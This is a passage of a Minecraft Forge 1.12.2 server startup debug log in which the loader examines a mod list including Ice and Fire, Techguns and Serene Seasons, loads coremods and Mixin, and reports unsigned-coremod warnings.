Examining file: mowziesmobs-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Examining file: SpartanShields-1.12.2-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Examining file: malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [FML]: Examining file: malisisdoors-1.12.2-7.3.0.jar [14:27:46] [main/DEBUG] [FML]: Examining file: llibrary-1.7.19-1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Found existing ContainedDep llibrary-core-1.0.11-1.12.2.jar(net.ilexiconn:llibrary-core:1.0.11-1.12.2) from /aternos/server/mods/memory_repo/net/ilexiconn/llibrary-core/1.0.11-1.12.2/llibrary-core-1.0.11-1.12.2.jar extracted to ./mods/llibrary-1.7.19-1.12.2.jar, skipping extraction [14:27:46] [main/DEBUG] [FML]: Examining file: llibrary-core-1.0.11-1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Making maven link for net.ilexiconn:llibrary:1.7.19-1.12.2 in memory to /aternos/server/./mods/llibrary-1.7.19-1.12.2.jar. [14:27:46] [main/DEBUG] [FML]: Examining file: colorchat-1.12.1-2.0.43-universal.jar [14:27:46] [main/DEBUG] [FML]: Examining file: k4lib-1.12.1-2.1.81-universal.jar [14:27:46] [main/DEBUG] [FML]: Examining file: TeamUp-1.1.3-1.12.0.jar [14:27:46] [main/DEBUG] [FML]: Examining file: CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar [14:27:46] [main/DEBUG] [FML]: Examining file: betteranimalsplus-1.12.2-8.0.0.jar [14:27:46] [main/DEBUG] [FML]: File already proccessed /aternos/server/./mods/claimitapi-1.12.2-1.2.0.jar, Skipping [14:27:46] [main/DEBUG] [FML]: File already proccessed /aternos/server/./mods/claimit-1.12.2-1.2.0.jar, Skipping [14:27:46] [main/DEBUG] [FML]: File already proccessed /aternos/server/./mods/memory_repo/net/ilexiconn/llibrary-core/1.0.11-1.12.2/llibrary-core-1.0.11-1.12.2.jar, Skipping [14:27:46] [main/DEBUG] [FML]: File already proccessed /aternos/server/./mods/llibrary-1.7.19-1.12.2.jar, Skipping [14:27:46] [main/DEBUG] [FML]: Enabling runtime deobfuscation [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class FMLCorePlugin [14:27:46] [main/WARN] [FML]: The coremod FMLCorePlugin (net.minecraftforge.fml.relauncher.FMLCorePlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Added access transformer class net.minecraftforge.fml.common.asm.transformers.AccessTransformer to enqueued access transformers [14:27:46] [main/DEBUG] [FML]: Enqueued coremod FMLCorePlugin [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class FMLForgePlugin [14:27:46] [main/WARN] [FML]: The coremod FMLForgePlugin (net.minecraftforge.classloading.FMLForgePlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod FMLForgePlugin [14:27:46] [main/DEBUG] [FML]: All fundamental core mods are successfully located [14:27:46] [main/DEBUG] [FML]: Discovering coremods [14:27:46] [main/INFO] [FML]: Searching /aternos/server/./mods for mods [14:27:46] [main/DEBUG] [FML]: Adding animania-1.12.2-1.7.3.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding wings-1.1.6-1.12.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding SereneSeasons-1.12.2-1.2.18-universal.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding jei_1.12.2-4.15.0.292.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding BackTools-1.12.2-7.0.1.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding DragonMounts2-1.12.2-1.6.3.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding CTM-MC1.12.2-1.0.1.30.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding bookworm-1.12.2-2.3.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding zawa-1.12.2-1.7.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding ExtraGems-1.12.2-(v.1.2.8).jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding iceandfire-1.8.3.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding creature_whisperer_1.0.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding ultimate_unicorn_mod-1.12.2-1.5.16.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding Instant Massive Structures Mod 1.12.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding landmanager-1.12.2-1.4.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding claimitapi-1.12.2-1.2.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding iChunUtil-1.12.2-7.2.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding claimit-1.12.2-1.2.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding techguns-1.12.2-2.0.2.0_pre3.1.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding spartanfire-0.07.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding horse_colors-1.12.2-1.0.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding torohealth-1.12.2-11.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding JustEnoughResources-1.12.2-0.9.2.60.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding SpartanWeaponry-1.12.2-beta-1.3.8.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding mowziesmobs-1.5.4.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding SpartanShields-1.12.2-1.5.4.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding malisiscore-1.12.2-6.5.1.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding malisisdoors-1.12.2-7.3.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding llibrary-1.7.19-1.12.2.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding colorchat-1.12.1-2.0.43-universal.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding k4lib-1.12.1-2.1.81-universal.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding TeamUp-1.1.3-1.12.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Adding betteranimalsplus-1.12.2-8.0.0.jar to the mod list [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy animania-1.12.2-1.7.3.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in animania-1.12.2-1.7.3.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy BackTools-1.12.2-7.0.1.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in BackTools-1.12.2-7.0.1.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy betteranimalsplus-1.12.2-8.0.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in betteranimalsplus-1.12.2-8.0.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy bookworm-1.12.2-2.3.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in bookworm-1.12.2-2.3.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy colorchat-1.12.1-2.0.43-universal.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in colorchat-1.12.1-2.0.43-universal.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in CraftStudioAPI-universal-1.0.1.95-mc1.12-alpha.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy creature_whisperer_1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in creature_whisperer_1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy CTM-MC1.12.2-1.0.1.30.jar [14:27:46] [main/WARN] [FML]: Found FMLCorePluginContainsFMLMod marker in CTM-MC1.12.2-1.0.1.30.jar. This is not recommended, @Mods should be in a separate jar from the coremod. [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class CTMCorePlugin [14:27:46] [main/WARN] [FML]: The coremod team.chisel.ctm.client.asm.CTMCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [14:27:46] [main/WARN] [FML]: The coremod CTMCorePlugin (team.chisel.ctm.client.asm.CTMCorePlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod CTMCorePlugin [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy DragonMounts2-1.12.2-1.6.3.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in DragonMounts2-1.12.2-1.6.3.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy ExtraGems-1.12.2-(v.1.2.8).jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in ExtraGems-1.12.2-(v.1.2.8).jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy horse_colors-1.12.2-1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in horse_colors-1.12.2-1.0.2.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy iceandfire-1.8.3.jar [14:27:46] [main/WARN] [FML]: Found FMLCorePluginContainsFMLMod marker in iceandfire-1.8.3.jar. This is not recommended, @Mods should be in a separate jar from the coremod. [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class IceAndFirePlugin [14:27:46] [main/TRACE] [FML]: coremod named iceandfire is loading [14:27:46] [main/DEBUG] [FML]: The coremod com.github.alexthe666.iceandfire.asm.IceAndFirePlugin requested minecraft version 1.12.2 and minecraft is 1.12.2. It will be loaded. [14:27:46] [main/WARN] [FML]: The coremod iceandfire (com.github.alexthe666.iceandfire.asm.IceAndFirePlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod iceandfire [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy iChunUtil-1.12.2-7.2.2.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in iChunUtil-1.12.2-7.2.2.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy Instant Massive Structures Mod 1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in Instant Massive Structures Mod 1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy jei_1.12.2-4.15.0.292.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in jei_1.12.2-4.15.0.292.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy JustEnoughResources-1.12.2-0.9.2.60.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in JustEnoughResources-1.12.2-0.9.2.60.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy k4lib-1.12.1-2.1.81-universal.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in k4lib-1.12.1-2.1.81-universal.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy landmanager-1.12.2-1.4.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in landmanager-1.12.2-1.4.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/INFO] [FML]: Loading tweaker org.spongepowered.asm.launch.MixinTweaker from malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy malisisdoors-1.12.2-7.3.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in malisisdoors-1.12.2-7.3.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy mowziesmobs-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in mowziesmobs-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy SereneSeasons-1.12.2-1.2.18-universal.jar [14:27:46] [main/WARN] [FML]: Found FMLCorePluginContainsFMLMod marker in SereneSeasons-1.12.2-1.2.18-universal.jar. This is not recommended, @Mods should be in a separate jar from the coremod. [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class SSLoadingPlugin [14:27:46] [main/WARN] [FML]: The coremod sereneseasons.asm.SSLoadingPlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [14:27:46] [main/WARN] [FML]: The coremod SSLoadingPlugin (sereneseasons.asm.SSLoadingPlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod SSLoadingPlugin [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy spartanfire-0.07.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in spartanfire-0.07.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy SpartanShields-1.12.2-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in SpartanShields-1.12.2-1.5.4.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy SpartanWeaponry-1.12.2-beta-1.3.8.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in SpartanWeaponry-1.12.2-beta-1.3.8.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy TeamUp-1.1.3-1.12.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in TeamUp-1.1.3-1.12.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy techguns-1.12.2-2.0.2.0_pre3.1.jar [14:27:46] [main/WARN] [FML]: Found FMLCorePluginContainsFMLMod marker in techguns-1.12.2-2.0.2.0_pre3.1.jar. This is not recommended, @Mods should be in a separate jar from the coremod. [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class TechgunsFMLPlugin [14:27:46] [main/TRACE] [FML]: coremod named Techguns Core is loading [14:27:46] [main/DEBUG] [FML]: The coremod techguns.core.TechgunsFMLPlugin requested minecraft version 1.12.2 and minecraft is 1.12.2. It will be loaded. [14:27:46] [main/WARN] [FML]: The coremod Techguns Core (techguns.core.TechgunsFMLPlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod Techguns Core [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy torohealth-1.12.2-11.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in torohealth-1.12.2-11.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy ultimate_unicorn_mod-1.12.2-1.5.16.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in ultimate_unicorn_mod-1.12.2-1.5.16.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy wings-1.1.6-1.12.2.jar [14:27:46] [main/WARN] [FML]: Found FMLCorePluginContainsFMLMod marker in wings-1.1.6-1.12.2.jar. This is not recommended, @Mods should be in a separate jar from the coremod. [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class WingsLoadingPlugin [14:27:46] [main/TRACE] [FML]: coremod named wings is loading [14:27:46] [main/DEBUG] [FML]: The coremod me.paulf.wings.server.asm.plugin.WingsLoadingPlugin requested minecraft version 1.12.2 and minecraft is 1.12.2. It will be loaded. [14:27:46] [main/WARN] [FML]: The coremod wings (me.paulf.wings.server.asm.plugin.WingsLoadingPlugin) is not signed! [14:27:46] [main/DEBUG] [FML]: Enqueued coremod wings [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy zawa-1.12.2-1.7.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in zawa-1.12.2-1.7.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy claimitapi-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in claimitapi-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy claimit-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in claimit-1.12.2-1.2.0.jar [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy llibrary-core-1.0.11-1.12.2.jar [14:27:46] [main/TRACE] [FML]: Adding llibrary-core-1.0.11-1.12.2.jar to the list of known coremods, it will not be examined again [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class LLibraryPlugin [14:27:46] [main/TRACE] [FML]: coremod named llibrary is loading [14:27:46] [main/DEBUG] [FML]: The coremod net.ilexiconn.llibrary.server.core.plugin.LLibraryPlugin requested minecraft version 1.12.2 and minecraft is 1.12.2. It will be loaded. [14:27:46] [main/DEBUG] [FML]: Found signing certificates for coremod llibrary (net.ilexiconn.llibrary.server.core.plugin.LLibraryPlugin) [14:27:46] [main/DEBUG] [FML]: Found certificate b9f30a813bee3b9dd5652c460310cfcd54f6b7ec [14:27:46] [main/DEBUG] [FML]: Enqueued coremod llibrary [14:27:46] [main/DEBUG] [FML]: Examining for coremod candidacy llibrary-1.7.19-1.12.2.jar [14:27:46] [main/DEBUG] [FML]: Not found coremod data in llibrary-1.7.19-1.12.2.jar [14:27:46] [main/INFO] [LaunchWrapper]: Loading tweak class name net.minecraftforge.fml.common.launcher.FMLInjectionAndSortingTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Loading tweak class name org.spongepowered.asm.launch.MixinTweaker [14:27:46] [main/DEBUG] [mixin]: MixinService [LaunchWrapper] was successfully booted in sun.misc.Launcher$AppClassLoader@33909752 [14:27:46] [main/INFO] [mixin]: SpongePowered MIXIN Subsystem Version=0.7.11 Source=file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar Service=LaunchWrapper Env=SERVER [14:27:46] [main/DEBUG] [mixin]: Adding new mixin transformer proxy #1 [14:27:46] [main/DEBUG] [mixin]: Initialising Mixin Platform Manager [14:27:46] [main/DEBUG] [mixin]: Mixin platform: primary container is file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [mixin]: Adding mixin platform agents for container file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [mixin]: Instancing new MixinPlatformAgentFML for file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [mixin]: ForceLoadAsMod was specified for malisiscore-1.12.2-6.5.1.jar, attempting force-load [14:27:46] [main/DEBUG] [mixin]: Adding malisiscore-1.12.2-6.5.1.jar to reparseable coremod collection [14:27:46] [main/DEBUG] [mixin]: malisiscore-1.12.2-6.5.1.jar has core plugin net.malisis.core.asm.MalisisCorePlugin. Injecting it into FML for co-initialisation: [14:27:46] [main/DEBUG] [FML]: Instantiating coremod class MalisisCorePlugin [14:27:46] [main/WARN] [FML]: The coremod net.malisis.core.asm.MalisisCorePlugin does not have a MCVersion annotation, it may cause issues with this version of Minecraft [14:27:46] [main/WARN] [FML]: The coremod MalisisCorePlugin (net.malisis.core.asm.MalisisCorePlugin) is not signed! [14:27:46] [main/INFO] [mixin]: Compatibility level set to JAVA_8 [14:27:46] [main/DEBUG] [FML]: Enqueued coremod MalisisCorePlugin [14:27:46] [main/DEBUG] [mixin]: Instancing new MixinPlatformAgentDefault for file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/forge.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/CTM-MC1.12.2-1.0.1.30.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/iceandfire-1.8.3.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/SereneSeasons-1.12.2-1.2.18-universal.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/techguns-1.12.2-2.0.2.0_pre3.1.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/wings-1.1.6-1.12.2.jar for mixin tweaker [14:27:46] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/memory_repo/net/ilexiconn/llibrary-core/1.0.11-1.12.2/llibrary-core-1.0.11-1.12.2.jar for mixin tweaker [14:27:46] [main/INFO] [LaunchWrapper]: Loading tweak class name net.minecraftforge.fml.common.launcher.FMLDeobfTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.common.launcher.FMLInjectionAndSortingTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.common.launcher.FMLInjectionAndSortingTweaker [14:27:46] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:46] [main/DEBUG] [FML]: Injecting coremod FMLCorePlugin \{net.minecraftforge.fml.relauncher.FMLCorePlugin\} class transformers [14:27:46] [main/TRACE] [FML]: Registering transformer net.minecraftforge.fml.common.asm.transformers.SideTransformer [14:27:47] [main/DEBUG] [mixin]: Preparing mixins for MixinEnvironment[PREINIT] [14:27:47] [main/TRACE] [FML]: Registering transformer net.minecraftforge.fml.common.asm.transformers.EventSubscriptionTransformer [14:27:47] [main/TRACE] [FML]: Registering transformer net.minecraftforge.fml.common.asm.transformers.EventSubscriberTransformer [14:27:47] [main/TRACE] [FML]: Registering transformer net.minecraftforge.fml.common.asm.transformers.SoundEngineFixTransformer [14:27:47] [main/DEBUG] [FML]: Injection complete [14:27:47] [main/DEBUG] [FML]: Running coremod plugin for FMLCorePlugin \{net.minecraftforge.fml.relauncher.FMLCorePlugin\} [14:27:47] [main/DEBUG] [FML]: Running coremod plugin FMLCorePlugin [14:27:48] [main/DEBUG] [FML]: Read 1145 binary patches [14:27:48] [main/DEBUG] [FML]: Loading deobfuscation resource /deobfuscation_data-1.12.2.lzma with 36083 records [14:27:49] [main/ERROR] [FML]: FML appears to be missing any signature data. This is not a good thing [14:27:49] [main/DEBUG] [FML]: Coremod plugin class FMLCorePlugin run successfully [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:49] [main/DEBUG] [FML]: Injecting coremod FMLForgePlugin \{net.minecraftforge.classloading.FMLForgePlugin\} class transformers [14:27:49] [main/DEBUG] [FML]: Injection complete [14:27:49] [main/DEBUG] [FML]: Running coremod plugin for FMLForgePlugin \{net.minecraftforge.classloading.FMLForgePlugin\} [14:27:49] [main/DEBUG] [FML]: Running coremod plugin FMLForgePlugin [14:27:49] [main/DEBUG] [FML]: Coremod plugin class FMLForgePlugin run successfully [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:49] [main/DEBUG] [FML]: Injecting coremod SSLoadingPlugin \{sereneseasons.asm.SSLoadingPlugin\} class transformers [14:27:49] [main/TRACE] [FML]: Registering transformer sereneseasons.asm.transformer.EntityRendererTransformer [14:27:49] [main/TRACE] [FML]: Registering transformer sereneseasons.asm.transformer.WorldTransformer [14:27:49] [main/DEBUG] [FML]: Injection complete [14:27:49] [main/DEBUG] [FML]: Running coremod plugin for SSLoadingPlugin \{sereneseasons.asm.SSLoadingPlugin\} [14:27:49] [main/DEBUG] [FML]: Running coremod plugin SSLoadingPlugin [14:27:49] [main/DEBUG] [FML]: Coremod plugin class SSLoadingPlugin run successfully [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class org.spongepowered.asm.launch.MixinTweaker [14:27:49] [main/DEBUG] [mixin]: Processing prepare() for PlatformAgent[MixinPlatformAgentFML:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/DEBUG] [mixin]: Processing prepare() for PlatformAgent[MixinPlatformAgentDefault:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/DEBUG] [mixin]: Registering mixin config: mixins.malisiscore.core.json [14:27:49] [main/DEBUG] [mixin]: Processing launch tasks for PlatformAgent[MixinPlatformAgentFML:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/DEBUG] [mixin]: Creating FML remapper adapter: org.spongepowered.asm.bridge.RemapperAdapterFML [14:27:49] [main/INFO] [mixin]: Initialised Mixin FML Remapper Adapter with net.minecraftforge.fml.common.asm.transformers.deobf.FMLDeobfuscatingRemapper@6df7988f [14:27:49] [main/DEBUG] [mixin]: Processing launch tasks for PlatformAgent[MixinPlatformAgentDefault:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/forge.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/CTM-MC1.12.2-1.0.1.30.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/iceandfire-1.8.3.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/SereneSeasons-1.12.2-1.2.18-universal.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/techguns-1.12.2-2.0.2.0_pre3.1.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/wings-1.1.6-1.12.2.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning file:/aternos/server/./mods/memory_repo/net/ilexiconn/llibrary-core/1.0.11-1.12.2/llibrary-core-1.0.11-1.12.2.jar for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: Scanning asmgen:/ for mixin tweaker [14:27:49] [main/DEBUG] [mixin]: inject() running with 1 agents [14:27:49] [main/DEBUG] [mixin]: Processing inject() for PlatformAgent[MixinPlatformAgentFML:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/DEBUG] [mixin]: FML agent is co-initiralising coremod instance MalisisCorePlugin {[]} for file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar [14:27:49] [main/DEBUG] [FML]: Injecting coremod MalisisCorePlugin \{net.malisis.core.asm.MalisisCorePlugin\} class transformers [14:27:49] [main/DEBUG] [FML]: Injection complete [14:27:49] [main/DEBUG] [FML]: Running coremod plugin for MalisisCorePlugin \{net.malisis.core.asm.MalisisCorePlugin\} [14:27:49] [main/DEBUG] [FML]: Running coremod plugin MalisisCorePlugin [14:27:49] [main/DEBUG] [FML]: Coremod plugin class MalisisCorePlugin run successfully [14:27:49] [main/DEBUG] [mixin]: Processing inject() for PlatformAgent[MixinPlatformAgentDefault:file:/aternos/server/./mods/malisiscore-1.12.2-6.5.1.jar] [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.common.launcher.FMLDeobfTweaker [14:27:49] [main/DEBUG] [FML]: Loaded 215 rules from AccessTransformer config file forge_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 119 rules from AccessTransformer mod jar file ./mods/iChunUtil-1.12.2-7.2.2.jar!META-INF/iChunUtil_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 13 rules from AccessTransformer mod jar file ./mods/jei_1.12.2-4.15.0.292.jar!META-INF/jei_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 10 rules from AccessTransformer mod jar file ./mods/JustEnoughResources-1.12.2-0.9.2.60.jar!META-INF/jeresources_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 7 rules from AccessTransformer mod jar file ./mods/SereneSeasons-1.12.2-1.2.18-universal.jar!META-INF/sereneseasons_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 11 rules from AccessTransformer mod jar file ./mods/llibrary-1.7.19-1.12.2.jar!META-INF/llibrary_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 14 rules from AccessTransformer mod jar file ./mods/malisiscore-1.12.2-6.5.1.jar!META-INF/malisiscore_at.cfg [14:27:49] [main/DEBUG] [FML]: Loaded 5 rules from AccessTransformer mod jar file ./mods/CTM-MC1.12.2-1.0.1.30.jar!META-INF/ctm_at.cfg [14:27:49] [main/DEBUG] [mixin]: Adding new mixin transformer proxy #2 [14:27:49] [main/DEBUG] [FML]: Validating minecraft [14:27:49] [main/DEBUG] [mixin]: Preparing mixins for MixinEnvironment[INIT] [14:27:49] [main/DEBUG] [FML]: Minecraft validated, launching... [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:49] [main/DEBUG] [FML]: Injecting coremod llibrary \{net.ilexiconn.llibrary.server.core.plugin.LLibraryPlugin\} class transformers [14:27:49] [main/TRACE] [FML]: Registering transformer net.ilexiconn.llibrary.server.core.plugin.LLibraryTransformer [14:27:49] [main/TRACE] [FML]: Registering transformer net.ilexiconn.llibrary.server.core.patcher.LLibraryRuntimePatcher [14:27:49] [main/DEBUG] [LLibrary Core]: Found runtime patcher net.ilexiconn.llibrary.server.core.patcher.LLibraryRuntimePatcher [14:27:49] [main/DEBUG] [FML]: Injection complete [14:27:49] [main/DEBUG] [FML]: Running coremod plugin for llibrary \{net.ilexiconn.llibrary.server.core.plugin.LLibraryPlugin\} [14:27:49] [main/DEBUG] [FML]: Running coremod plugin llibrary [14:27:49] [main/DEBUG] [FML]: Coremod plugin class LLibraryPlugin run successfully [14:27:49] [main/INFO] [LaunchWrapper]: Calling tweak class net.minecraftforge.fml.relauncher.CoreModManager$FMLPluginWrapper [14:27:49] [main/DEBUG] [FML]: Injecting coremod iceandfire \{com.github.alexthe666.iceandfire.asm.IceAndFirePlugin\} class transformers [14:27:49] [main/DEBUG] [LLibrary Core]: Found runtime patcher com.github.alexthe666.iceandfire.patcher.IceAndFireRuntimePatcher [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for java/lang/String/format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String; [14:27:50] [main/DEBUG] [LLibrary Core]: Found no method mapping for 